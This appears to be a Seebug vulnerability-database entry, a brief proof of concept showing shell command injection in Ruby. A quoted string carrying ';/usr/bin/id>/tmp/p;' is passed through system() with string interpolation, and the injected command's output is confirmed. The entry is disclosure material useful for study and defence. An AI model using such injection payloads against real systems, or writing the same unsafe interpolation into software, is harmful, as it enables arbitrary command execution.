PoC: irb(main):098:0> @file = "\"id;/usr/bin/id>/tmp/p;\"" => "\"id;/usr/bin/id>/tmp/p;\"" irb(main):099:0> system %{/bin/echo "#{@file}" } id sh: 1: : Permission denied => false irb(main):100:0> larry@underfl0w:/tmp$ cat /tmp/p uid=1000(larry) gid=600(staff) groups=600(user)
※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负
您的会员可兑换次数还剩： 次 本次兑换将消耗 1 次
续费请拨打客服热线，感谢您一直支持 Seebug!
共 3 兑换
京公网安备 11010502034610号
暂无评论